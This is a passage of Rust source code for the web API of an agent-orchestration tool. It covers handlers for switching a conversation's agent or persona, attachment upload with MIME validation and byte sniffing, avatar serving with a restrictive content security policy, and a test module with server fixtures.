8243fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
8245 if talk.status.open() {
8246 return Ok(());
8247 }
8248 Err(ApiError::conflict(format!(
8249 "talk {} is {} and takes no more turns",
8250 talk.short(),
8251 talk.status.as_str()
8252 )))
8253}
8254
8255#[derive(Debug, Deserialize)]
8257struct TalkAgent {
8258 agent: String,
8259}
8260
8261async fn talk_agent(
8266 State(ui): State<Arc<Ui>>,
8267 Path(id): Path<String>,
8268 Json(body): Json<TalkAgent>,
8269) -> ApiResult<Json<TalkView>> {
8270 let id = {
8271 let ui = Arc::clone(&ui);
8272 blocking(move || resolve_talk(&ui.talks, &id)).await?
8273 };
8274 let repo = {
8275 let ui = Arc::clone(&ui);
8276 let id = id.clone();
8277 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8278 };
8279 let cfg = config_for(&repo).await?;
8280 {
8282 let ui = Arc::clone(&ui);
8283 let id = id.clone();
8284 let cfg = cfg.clone();
8285 let wanted = body.agent.clone();
8286 blocking(move || {
8287 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
8288 .map_err(ApiError::bad_request_from)?;
8289 refuse_if_closed(&ui.talks.get(&id)?)
8290 })
8291 .await?;
8292 }
8293 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8294 return Err(ApiError::conflict(
8295 "a talk turn is running; change the agent once it has answered",
8296 ));
8297 };
8298 let switched = {
8299 let ui = Arc::clone(&ui);
8300 let id = id.clone();
8301 let cfg = cfg.clone();
8302 blocking(move || {
8303 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
8304 .map_err(ApiError::bad_request_from)?;
8305 let mut talk = ui.talks.get(&id)?;
8306 if !talk.status.open() {
8307 return Err(ApiError::conflict(format!(
8308 "talk {} is {} and takes no more turns",
8309 talk.short(),
8310 talk.status.as_str()
8311 )));
8312 }
8313 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
8314 Ok(talk)
8315 })
8316 .await
8317 };
8318 let observed = ui.queued_generation(&id);
8323 let fresh = {
8324 let ui = Arc::clone(&ui);
8325 let id = id.clone();
8326 blocking(move || Ok(ui.talks.get(&id)?)).await
8327 };
8328 let draining = match fresh {
8329 Ok(talk) => {
8330 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8331 }
8332 Err(_) => false,
8333 };
8334 let talk = switched?;
8335 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8336}
8337
8338#[derive(Debug, Deserialize)]
8340struct TalkPersona {
8341 persona: String,
8342}
8343
8344async fn talk_persona(
8348 State(ui): State<Arc<Ui>>,
8349 Path(id): Path<String>,
8350 Json(body): Json<TalkPersona>,
8351) -> ApiResult<Json<TalkView>> {
8352 let id = {
8353 let ui = Arc::clone(&ui);
8354 blocking(move || resolve_talk(&ui.talks, &id)).await?
8355 };
8356 let repo = {
8357 let ui = Arc::clone(&ui);
8358 let id = id.clone();
8359 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8360 };
8361 let cfg = config_for(&repo).await?;
8362 {
8364 let ui = Arc::clone(&ui);
8365 let id = id.clone();
8366 let cfg = cfg.clone();
8367 let wanted = body.persona.clone();
8368 blocking(move || {
8369 if persona::find(&cfg.talk.personas, &wanted).is_none() {
8370 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
8371 }
8372 refuse_if_closed(&ui.talks.get(&id)?)
8373 })
8374 .await?;
8375 }
8376 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8377 return Err(ApiError::conflict(
8378 "a talk turn is running; change the persona once it has answered",
8379 ));
8380 };
8381 let switched = {
8382 let ui = Arc::clone(&ui);
8383 let id = id.clone();
8384 let cfg = cfg.clone();
8385 blocking(move || {
8386 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
8387 return Err(ApiError::bad_request(format!(
8388 "unknown persona `{}`",
8389 body.persona
8390 )));
8391 };
8392 let mut talk = ui.talks.get(&id)?;
8393 if !talk.status.open() {
8394 return Err(ApiError::conflict(format!(
8395 "talk {} is {} and takes no more turns",
8396 talk.short(),
8397 talk.status.as_str()
8398 )));
8399 }
8400 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
8401 Ok(talk)
8402 })
8403 .await
8404 };
8405 let observed = ui.queued_generation(&id);
8407 let fresh = {
8408 let ui = Arc::clone(&ui);
8409 let id = id.clone();
8410 blocking(move || Ok(ui.talks.get(&id)?)).await
8411 };
8412 let draining = match fresh {
8413 Ok(talk) => {
8414 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8415 }
8416 Err(_) => false,
8417 };
8418 let talk = switched?;
8419 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8420}
8421
8422#[derive(Debug, Deserialize)]
8424struct TalkImplementers {
8425 implementers: u8,
8426}
8427
8428async fn talk_implementers(
8432 State(ui): State<Arc<Ui>>,
8433 Path(id): Path<String>,
8434 Json(body): Json<TalkImplementers>,
8435) -> ApiResult<Json<TalkView>> {
8436 let id = {
8437 let ui = Arc::clone(&ui);
8438 blocking(move || resolve_talk(&ui.talks, &id)).await?
8439 };
8440 let repo = {
8441 let ui = Arc::clone(&ui);
8442 let id = id.clone();
8443 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8444 };
8445 let cfg = config_for(&repo).await?;
8446 {
8451 let ui = Arc::clone(&ui);
8452 let id = id.clone();
8453 let cfg = cfg.clone();
8454 let wanted = body.implementers;
8455 blocking(move || {
8456 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
8457 refuse_if_closed(&ui.talks.get(&id)?)
8458 })
8459 .await?;
8460 }
8461 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8462 return Err(ApiError::conflict(
8463 "a talk turn is running; change the implementers once it has answered",
8464 ));
8465 };
8466 let switched = {
8467 let ui = Arc::clone(&ui);
8468 let id = id.clone();
8469 let cfg = cfg.clone();
8470 blocking(move || {
8471 let chosen =
8472 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
8473 let mut talk = ui.talks.get(&id)?;
8474 if !talk.status.open() {
8475 return Err(ApiError::conflict(format!(
8476 "talk {} is {} and takes no more turns",
8477 talk.short(),
8478 talk.status.as_str()
8479 )));
8480 }
8481 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
8482 Ok(talk)
8483 })
8484 .await
8485 };
8486 let observed = ui.queued_generation(&id);
8488 let fresh = {
8489 let ui = Arc::clone(&ui);
8490 let id = id.clone();
8491 blocking(move || Ok(ui.talks.get(&id)?)).await
8492 };
8493 let draining = match fresh {
8494 Ok(talk) => {
8495 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8496 }
8497 Err(_) => false,
8498 };
8499 let talk = switched?;
8500 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8501}
8502
8503async fn talk_close(
8505 State(ui): State<Arc<Ui>>,
8506 Path(id): Path<String>,
8507) -> ApiResult<Json<TalkView>> {
8508 blocking(move || {
8509 let id = resolve_talk(&ui.talks, &id)?;
8510 let mut talk = ui.talks.get(&id)?;
8511 talk::close(&mut talk, &ui.talks)?;
8512 let thinking = ui.is_thinking(&talk.id);
8513 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8514 })
8515 .await
8516}
8517
8518async fn talk_reopen(
8520 State(ui): State<Arc<Ui>>,
8521 Path(id): Path<String>,
8522) -> ApiResult<Json<TalkView>> {
8523 blocking(move || {
8524 let id = resolve_talk(&ui.talks, &id)?;
8525 let mut talk = ui.talks.get(&id)?;
8526 talk::reopen(&mut talk, &ui.talks)?;
8527 let thinking = ui.is_thinking(&talk.id);
8528 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8529 })
8530 .await
8531}
8532
8533async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8543 blocking(move || {
8544 let id = resolve_talk(&ui.talks, &id)?;
8545 ui.talks.remove(&id)?;
8546 Ok(StatusCode::NO_CONTENT)
8547 })
8548 .await
8549}
8550
8551fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
8553 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
8554}
8555
8556async fn talk_attachment_post(
8559 State(ui): State<Arc<Ui>>,
8560 Path(id): Path<String>,
8561 headers: HeaderMap,
8562 body: Bytes,
8563) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
8564 let mime = validate_attachment(&headers, &body)?;
8565 let name = filename_header(&headers);
8566 let data = body.to_vec();
8567 blocking(move || {
8568 let id = resolve_talk(&ui.talks, &id)?;
8569 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
8570 Ok((StatusCode::CREATED, Json(att)))
8571 })
8572 .await
8573}
8574
8575async fn talk_attachment_get(
8578 State(ui): State<Arc<Ui>>,
8579 Path((id, att)): Path<(String, String)>,
8580) -> ApiResult<Response> {
8581 blocking(move || {
8582 let id = resolve_talk(&ui.talks, &id)?;
8583 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
8584 return Err(ApiError::not_found(format!(
8585 "talk {id} has no attachment `{att}`"
8586 )));
8587 };
8588 Ok(attachment_response(&meta.mime, data))
8589 })
8590 .await
8591}
8592
8593fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
8596 let mut id = String::new();
8597 for b in p.id.bytes() {
8598 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
8599 id.push(char::from(b));
8600 } else {
8601 id.push_str(&format!("%{b:02X}"));
8602 }
8603 }
8604 format!(
8605 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
8606 persona_icon::fingerprint(p.icon.as_deref())
8607 )
8608}
8609
8610#[derive(Debug, Default, Deserialize)]
8611struct AvatarQuery {
8612 persona: Option<String>,
8613 builtin: Option<String>,
8615}
8616
8617const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
8619
8620fn builtin_avatar(id: &str) -> Response {
8621 svg_avatar(persona_icon::builtin_svg(id))
8622}
8623
8624async fn operator_avatar() -> Response {
8625 svg_avatar(persona_icon::operator_svg())
8626}
8627
8628fn svg_avatar(svg: &'static str) -> Response {
8629 (
8630 [
8631 (header::CONTENT_TYPE, "image/svg+xml"),
8632 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8633 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
8634 (header::CACHE_CONTROL, "no-cache"),
8635 ],
8636 svg,
8637 )
8638 .into_response()
8639}
8640
8641fn magi_icon_path(home: &FsPath) -> PathBuf {
8643 home.join("magi-icon.data")
8644}
8645
8646fn read_magi_icon(home: &FsPath) -> Option<String> {
8647 let path = magi_icon_path(home);
8648 let metadata = std::fs::metadata(&path).ok()?;
8649 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
8650 return None;
8651 }
8652 let file = std::fs::File::open(path).ok()?;
8653 use std::io::Read;
8654 let mut text = String::new();
8655 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
8656 .read_to_string(&mut text)
8657 .ok()?;
8658 if text.len() > persona_icon::ICON_MAX_BYTES {
8659 return None;
8660 }
8661 text.starts_with("data:").then_some(text)
8662}
8663
8664fn magi_icon_url(home: &FsPath) -> String {
8665 format!(
8666 "/avatars/magi?v={}",
8667 persona_icon::fingerprint(read_magi_icon(home).as_deref())
8668 )
8669}
8670
8671async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
8672 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
8673}
8674
8675#[derive(Deserialize)]
8676struct MagiIconUpload {
8677 icon: String,
8678}
8679
8680fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
8681 if !icon.starts_with("data:") {
8682 anyhow::bail!("upload a raster image");
8683 }
8684 let (mime, bytes) = persona_icon::load(icon)?;
8685 if sniffed_mime(&bytes) != Some(mime) {
8686 anyhow::bail!("image content does not match its type");
8687 }
8688 std::fs::create_dir_all(home)?;
8689 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
8690 let temp = home.join(format!(".magi-icon-{token}.tmp"));
8691 let result = (|| -> Result<()> {
8692 use std::io::Write;
8693 let mut file = std::fs::OpenOptions::new()
8694 .write(true)
8695 .create_new(true)
8696 .open(&temp)?;
8697 file.write_all(icon.as_bytes())?;
8698 file.sync_all()?;
8699 std::fs::rename(&temp, magi_icon_path(home))?;
8700 Ok(())
8701 })();
8702 let _ = std::fs::remove_file(temp);
8703 result?;
8704 Ok(())
8705}
8706
8707async fn magi_icon_put(
8708 State(ui): State<Arc<Ui>>,
8709 Json(upload): Json<MagiIconUpload>,
8710) -> ApiResult<Json<serde_json::Value>> {
8711 blocking(move || {
8712 if !upload.icon.starts_with("data:") {
8713 return Err(ApiError::bad_request("upload a raster image"));
8714 }
8715 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
8716 if sniffed_mime(&bytes) != Some(mime) {
8717 return Err(ApiError::bad_request(
8718 "image content does not match its type",
8719 ));
8720 }
8721 save_magi_icon(&ui.home, &upload.icon)?;
8722 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8723 })
8724 .await
8725}
8726
8727async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8728 blocking(move || {
8729 match std::fs::remove_file(magi_icon_path(&ui.home)) {
8730 Ok(()) => (),
8731 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
8732 Err(e) => return Err(anyhow::Error::from(e).into()),
8733 }
8734 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8735 })
8736 .await
8737}
8738
8739async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
8740 let icon = (q.builtin.is_none())
8741 .then(|| read_magi_icon(&ui.home))
8742 .flatten();
8743 let mut response = match icon
8744 .as_deref()
8745 .and_then(|icon| persona_icon::load(icon).ok())
8746 {
8747 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8748 attachment_response(mime, bytes)
8749 }
8750 _ => svg_avatar(persona_icon::magi_svg()),
8751 };
8752 response
8753 .headers_mut()
8754 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
8755 response
8756}
8757
8758async fn talk_avatar(
8763 State(ui): State<Arc<Ui>>,
8764 Path(id): Path<String>,
8765 Query(q): Query<AvatarQuery>,
8766) -> ApiResult<Response> {
8767 blocking(move || {
8768 let id = resolve_talk(&ui.talks, &id)?;
8769 let talk = ui.talks.get(&id)?;
8770 let wanted = q
8771 .persona
8772 .as_deref()
8773 .map(str::trim)
8774 .filter(|p| !p.is_empty())
8775 .unwrap_or(&talk.persona)
8776 .to_owned();
8777 let specs = match Config::discover(&talk.repo, None) {
8778 Ok((cfg, _)) => cfg.talk.personas,
8779 Err(e) => {
8780 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
8781 Vec::new()
8782 }
8783 };
8784 let Some(found) = persona::find(&specs, &wanted) else {
8785 return Ok(builtin_avatar(persona::DEFAULT_ID));
8786 };
8787 let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
8788 return Ok(builtin_avatar(&found.id));
8789 };
8790 match persona_icon::load(icon) {
8791 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8792 let mut res = attachment_response(mime, bytes);
8793 res.headers_mut().insert(
8794 header::CACHE_CONTROL,
8795 header::HeaderValue::from_static("no-cache"),
8796 );
8797 Ok(res)
8798 }
8799 Ok((mime, _)) => {
8800 tracing::warn!(
8801 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
8802 found.id
8803 );
8804 Ok(builtin_avatar(&found.id))
8805 }
8806 Err(e) => {
8807 tracing::warn!(
8808 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
8809 found.id
8810 );
8811 Ok(builtin_avatar(&found.id))
8812 }
8813 }
8814 })
8815 .await
8816}
8817
8818fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
8829 if data.len() > ATTACHMENT_MAX_BYTES {
8830 return Err(ApiError::bad_request(format!(
8831 "attachment is {} bytes, over the {} MiB limit",
8832 data.len(),
8833 ATTACHMENT_MAX_BYTES / (1024 * 1024)
8834 ))
8835 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
8836 }
8837 if data.is_empty() {
8838 return Err(ApiError::bad_request("attachment is empty"));
8839 }
8840 let declared = declared_mime(headers)?;
8841 match sniffed_mime(data) {
8842 Some(sniffed) if sniffed == declared => Ok(declared),
8843 Some(sniffed) => Err(ApiError::bad_request(format!(
8844 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
8845 ))),
8846 None => Err(ApiError::bad_request(
8847 "the file's bytes do not match any accepted image format",
8848 )),
8849 }
8850}
8851
8852fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
8856 let raw = headers
8857 .get(header::CONTENT_TYPE)
8858 .and_then(|v| v.to_str().ok())
8859 .unwrap_or("")
8860 .split(';')
8861 .next()
8862 .unwrap_or("")
8863 .trim()
8864 .to_ascii_lowercase();
8865 ATTACHMENT_MIME_WHITELIST
8866 .iter()
8867 .find(|&&m| m == raw)
8868 .copied()
8869 .ok_or_else(|| {
8870 if raw == "image/svg+xml" {
8871 ApiError::bad_request(
8872 "SVG is not accepted: it can carry active content (e.g. a <script>), \
8873 not just a picture",
8874 )
8875 } else if raw.is_empty() {
8876 ApiError::bad_request("Content-Type is required for an attachment upload")
8877 } else {
8878 ApiError::bad_request(format!(
8879 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
8880 image/gif or image/webp"
8881 ))
8882 }
8883 })
8884}
8885
8886fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
8889 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
8890 Some("image/png")
8891 } else if data.starts_with(b"\xff\xd8\xff") {
8892 Some("image/jpeg")
8893 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
8894 Some("image/gif")
8895 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
8896 Some("image/webp")
8897 } else {
8898 None
8899 }
8900}
8901
8902fn filename_header(headers: &HeaderMap) -> String {
8908 headers
8909 .get(FILENAME_HEADER)
8910 .and_then(|v| v.to_str().ok())
8911 .map(str::trim)
8912 .filter(|s| !s.is_empty())
8913 .unwrap_or("attachment")
8914 .to_owned()
8915}
8916
8917fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
8924 let content_type = ATTACHMENT_MIME_WHITELIST
8925 .iter()
8926 .find(|&&m| m == mime)
8927 .copied()
8928 .unwrap_or("application/octet-stream");
8929 (
8930 [
8931 (header::CONTENT_TYPE, content_type),
8932 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8933 ],
8934 body,
8935 )
8936 .into_response()
8937}
8938
8939async fn config_for(repo: &FsPath) -> ApiResult<Config> {
8947 let repo = repo.to_path_buf();
8948 blocking(move || {
8949 let (cfg, _) = Config::discover(&repo, None)?;
8950 Ok(cfg)
8951 })
8952 .await
8953}
8954
8955fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
8961 let mut hits = ids
8962 .into_iter()
8963 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
8964 match (hits.next(), hits.next()) {
8965 (Some(one), None) => Ok(one),
8966 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
8967 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
8968 "`{prefix}` matches more than one {what}, including {a} and {b}"
8969 ))),
8970 }
8971}
8972
8973#[cfg(test)]
8974mod tests {
8975
8976 #[test]
8977 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
8978 let dir = tempfile::tempdir().unwrap();
8979 let store = ask::Questions::at(dir.path().join("questions"));
8980 let mut q = Question::new(
8981 "task".to_owned(),
8982 "conduct".to_owned(),
8983 "conduct".to_owned(),
8984 "choose".to_owned(),
8985 String::new(),
8986 vec!["keep".to_owned()],
8987 );
8988 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
8989 q.say("why?").unwrap();
8990 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
8991 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
8992 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
8993 store.put(&mut q).unwrap();
8994 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
8995 assert_eq!(store.count_needs_owner(), 1);
8996 store.beat(&q.id, ask::WaiterKind::Deputy);
8997 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
8998 assert_eq!(store.count_needs_owner(), 0);
8999 let mut stale = store.read_lease(&q.id).unwrap();
9000 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
9001 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
9002 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
9003 assert!(view.deputy_exhausted);
9004 assert!(view.waiting_on_agent);
9005 assert_eq!(view.question.choices, ["keep"]);
9006 store.drop_lease(&q.id);
9007 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
9008 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
9009 }
9010
9011 #[test]
9012 fn holder_reads_the_lease_not_the_record() {
9013 let mut q = Question::new(
9014 "run".to_owned(),
9015 "implement".to_owned(),
9016 "impl-A".to_owned(),
9017 "which?".to_owned(),
9018 String::new(),
9019 Vec::new(),
9020 );
9021 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
9022 q.cwd = Some("/tmp".to_owned());
9023 assert_eq!(holder_of(&q, None), Some("nobody"));
9024 let beat = |kind, ago: i64| ask::Lease {
9025 kind,
9026 pid: 1,
9027 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
9028 .unwrap(),
9029 };
9030 let fresh = beat(ask::WaiterKind::Asker, 1);
9031 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
9032 let daemon = beat(ask::WaiterKind::Daemon, 1);
9033 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
9034 let stale = beat(ask::WaiterKind::Asker, 3600);
9035 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
9036
9037 let mut c = Question::new(
9040 "task".to_owned(),
9041 crate::conduct::NODE.to_owned(),
9042 "conduct".to_owned(),
9043 "which?".to_owned(),
9044 String::new(),
9045 Vec::new(),
9046 );
9047 assert_eq!(holder_of(&c, None), Some("nobody"));
9048 c.cwd = Some("/tmp".to_owned());
9049 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
9050 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
9051 let deputy = beat(ask::WaiterKind::Deputy, 1);
9052 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
9053 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
9054
9055 let mut r = Question::new(
9057 String::new(),
9058 crate::bump::NOTICE_NODE.to_owned(),
9059 "release-watch".to_owned(),
9060 "stuck?".to_owned(),
9061 String::new(),
9062 vec!["hold".to_owned()],
9063 );
9064 assert_eq!(holder_of(&r, None), Some("nobody"));
9065 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
9066 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
9067 r.deputy = None;
9069 r.seat = "bump".to_owned();
9070 assert_eq!(holder_of(&r, None), None);
9071
9072 let mut m = Question::new(
9075 "run".to_owned(),
9076 crate::land::APPROVAL_NODE.to_owned(),
9077 "land".to_owned(),
9078 "merge?".to_owned(),
9079 String::new(),
9080 Vec::new(),
9081 );
9082 assert_eq!(holder_of(&m, None), Some("nobody"));
9083 assert_eq!(
9084 holder_of(&m, Some(&fresh)),
9085 Some("asker"),
9086 "a live explicit wait is a listener even before a deputy is attached"
9087 );
9088 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
9089 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
9090 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
9091 assert_eq!(holder_of(&m, None), Some("nobody"));
9092 }
9093
9094 fn stub_config() -> Config {
9095 Config {
9098 agents: vec![crate::config::AgentSpec {
9099 id: "stub".to_owned(),
9100 kind: AgentKind::Command,
9101 model: None,
9102 command: vec!["true".to_owned()],
9103 extra_args: Vec::new(),
9104 env: Default::default(),
9105 prompt_delivery: None,
9106 }],
9107 ..Config::default()
9108 }
9109 }
9110
9111 fn plain_question(seat: &str) -> Question {
9112 Question::new(
9113 String::new(),
9114 "n".to_owned(),
9115 seat.to_owned(),
9116 "s".to_owned(),
9117 String::new(),
9118 Vec::new(),
9119 )
9120 }
9121
9122 #[test]
9123 fn deputies_enabled_follows_the_config() {
9124 let on = stub_config();
9125 assert!(crate::deputy::can_start(Some(&on), ""));
9126 assert!(crate::deputy::can_start(Some(&on), "stub"));
9127 let mut off = on.clone();
9128 off.daemon.max_deputies = 0;
9129 assert!(!crate::deputy::can_start(Some(&off), ""));
9130 let mut empty = on;
9131 empty.agents.clear();
9132 assert!(!crate::deputy::can_start(Some(&empty), ""));
9133 assert!(!crate::deputy::can_start(None, ""));
9134 }
9135
9136 #[test]
9137 fn question_views_load_the_config_once() {
9138 let dir = TempDir::new().unwrap();
9139 let store = ask::Questions::at(dir.path().to_path_buf());
9140 let mut with_deputy = plain_question("b");
9141 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
9142 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
9143
9144 let calls = std::cell::Cell::new(0usize);
9145 let views = question_views(qs.clone(), &store, || {
9146 calls.set(calls.get() + 1);
9147 Some(stub_config())
9148 });
9149 assert_eq!(calls.get(), 1);
9150 assert_eq!(views.len(), 3);
9151 for (v, q) in views.iter().zip(&qs) {
9152 assert_eq!(
9153 v.deputies_enabled,
9154 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
9155 );
9156 }
9157
9158 let views = question_views(qs, &store, || None);
9159 assert!(views.iter().all(|v| !v.deputies_enabled));
9160
9161 let calls = std::cell::Cell::new(0usize);
9162 let views = question_views(Vec::new(), &store, || {
9163 calls.set(calls.get() + 1);
9164 None
9165 });
9166 assert!(views.is_empty());
9167 assert_eq!(calls.get(), 0);
9168 }
9169
9170 use pretty_assertions::assert_eq;
9171 use serde_json::Value;
9172 use tempfile::TempDir;
9173 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
9174
9175 use super::*;
9176 use crate::config::Config;
9177 use crate::queue::Source;
9178
9179 const SETTLE_STEPS: usize = 3_000;
9190
9191 struct Fixture {
9197 home: TempDir,
9198 addr: SocketAddr,
9199 }
9200
9201 impl Fixture {
9202 async fn start() -> Self {
9203 Self::with_loop(launch_idle).await
9204 }
9205
9206 async fn with_loop(launch: Launch) -> Self {
9208 let home = TempDir::new().expect("temp home");
9209 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
9210 Self { home, addr }
9211 }
9212
9213 async fn with_repo(repo: PathBuf) -> Self {
9217 let home = TempDir::new().expect("temp home");
9218 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
9219 Self { home, addr }
9220 }
9221
9222 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
9225 let home = TempDir::new().expect("temp home");
9226 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
9227 Self { home, addr }
9228 }
9229
9230 async fn serve(
9231 home: &FsPath,
9232 repo: PathBuf,
9233 launch: Launch,
9234 machine: Option<PathBuf>,
9235 ) -> SocketAddr {
9236 let queue = Queue::at(home.join("queue"));
9237 let runs = home.join("runs");
9238 std::fs::create_dir_all(&runs).expect("runs dir");
9239 let worktrees = home.join("wt").join("magi");
9240 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
9241 let ui = Ui::new(
9242 queue,
9243 Questions::at(home.join("questions")),
9244 Talks::at(home.join("talks")),
9245 runs,
9246 home.to_path_buf(),
9247 repo,
9248 )
9249 .with_worktrees_root(worktrees)
9250 .with_machine_config(machine)
9251 .with_launch(launch);
9252 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9253 .await
9254 .expect("bind loopback");
9255 let addr = listener.local_addr().expect("local addr");
9256 tokio::spawn(async move {
9257 let router = ui
9258 .router()
9259 .layer(axum::middleware::from_fn(request_cost::observe));
9260 let _ = axum::serve(listener, router).await;
9261 });
9262 addr
9263 }
9264
9265 fn queue(&self) -> Queue {
9266 Queue::at(self.home.path().join("queue"))
9267 }
9268
9269 fn questions(&self) -> Questions {
9270 Questions::at(self.home.path().join("questions"))
9271 }
9272
9273 fn talks(&self) -> Talks {
9274 Talks::at(self.home.path().join("talks"))
9275 }
9276
9277 fn runs(&self) -> PathBuf {
9278 self.home.path().join("runs")
9279 }
9280
9281 async fn get(&self, path: &str) -> Res {
9282 request(self.addr, "GET", path, None).await
9283 }
9284
9285 async fn head(&self, path: &str) -> Res {
9290 request(self.addr, "HEAD", path, None).await
9291 }
9292
9293 async fn post(&self, path: &str, body: Option<&str>) -> Res {
9294 request(self.addr, "POST", path, body).await
9295 }
9296
9297 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
9298 request_with(self.addr, "GET", path, None, extra).await
9299 }
9300
9301 async fn delete(&self, path: &str) -> Res {
9302 request(self.addr, "DELETE", path, None).await
9303 }
9304
9305 async fn put(&self, path: &str, body: &str) -> Res {
9306 request(self.addr, "PUT", path, Some(body)).await
9307 }
9308
